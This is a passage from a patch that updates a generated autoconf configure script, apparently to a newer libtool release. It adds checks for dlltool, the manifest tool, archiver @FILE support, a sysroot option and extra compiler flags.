+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -6230,6 +6248,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -6246,6 +6338,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -6414,7 +6511,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -6573,6 +6671,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6588,6 +6701,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6602,8 +6866,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -6619,7 +6885,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6639,11 +6905,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -6659,7 +6929,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6678,6 +6948,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -6689,31 +6963,83 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++
++
++
++
++
+
+
+
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
+
+
+
+@@ -7058,8 +7384,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -7095,6 +7421,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -7136,6 +7463,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -7147,7 +7486,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -7173,8 +7512,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -7184,8 +7523,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -7222,6 +7561,18 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
++
+
+
+
+@@ -7238,6 +7589,43 @@ fi
+
+
+
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -7404,50 +7792,167 @@ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+ lt_cv_cc_needs_belf=yes
+ else
+- lt_cv_cc_needs_belf=no
++ lt_cv_cc_needs_belf=no
++fi
++rm -f core conftest.err conftest.$ac_objext \
++ conftest$ac_exeext conftest.$ac_ext
++ ac_ext=c
++ac_cpp='$CPP $CPPFLAGS'
++ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
++ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
++ac_compiler_gnu=$ac_cv_c_compiler_gnu
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_cc_needs_belf" >&5
++$as_echo "$lt_cv_cc_needs_belf" >&6; }
++ if test x"$lt_cv_cc_needs_belf" != x"yes"; then
++ # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
++ CFLAGS="$SAVE_CFLAGS"
++ fi
++ ;;
++sparc*-*solaris*)
++ # Find out which ABI we are using.
++ echo 'int i;' > conftest.$ac_ext
++ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
++ (eval $ac_compile) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }; then
++ case `/usr/bin/file conftest.o` in
++ *64-bit*)
++ case $lt_cv_prog_gnu_ld in
++ yes*) LD="${LD-ld} -m elf64_sparc" ;;
++ *)
++ if ${LD-ld} -64 -r -o conftest2.o conftest.o >/dev/null 2>&1; then
++ LD="${LD-ld} -64"
++ fi
++ ;;
++ esac
++ ;;
++ esac
++ fi
++ rm -rf conftest*
++ ;;
++esac
++
++need_locks="$enable_libtool_lock"
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
+ fi
+-rm -f core conftest.err conftest.$ac_objext \
+- conftest$ac_exeext conftest.$ac_ext
+- ac_ext=c
+-ac_cpp='$CPP $CPPFLAGS'
+-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+-ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+-fi
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_cc_needs_belf" >&5
+-$as_echo "$lt_cv_cc_needs_belf" >&6; }
+- if test x"$lt_cv_cc_needs_belf" != x"yes"; then
+- # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
+- CFLAGS="$SAVE_CFLAGS"
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
+ fi
+- ;;
+-sparc*-*solaris*)
+- # Find out which ABI we are using.
+- echo 'int i;' > conftest.$ac_ext
+- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+- (eval $ac_compile) 2>&5
+- ac_status=$?
+- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
+- test $ac_status = 0; }; then
+- case `/usr/bin/file conftest.o` in
+- *64-bit*)
+- case $lt_cv_prog_gnu_ld in
+- yes*) LD="${LD-ld} -m elf64_sparc" ;;
+- *)
+- if ${LD-ld} -64 -r -o conftest2.o conftest.o >/dev/null 2>&1; then
+- LD="${LD-ld} -64"
+- fi
+- ;;
+- esac
+- ;;
+- esac
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
+ fi
+- rm -rf conftest*
+- ;;
+-esac
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
+
+-need_locks="$enable_libtool_lock"
+
+
+ case $host_os in
+@@ -8012,6 +8517,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -8596,8 +9103,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -8763,6 +9268,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8825,7 +9336,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
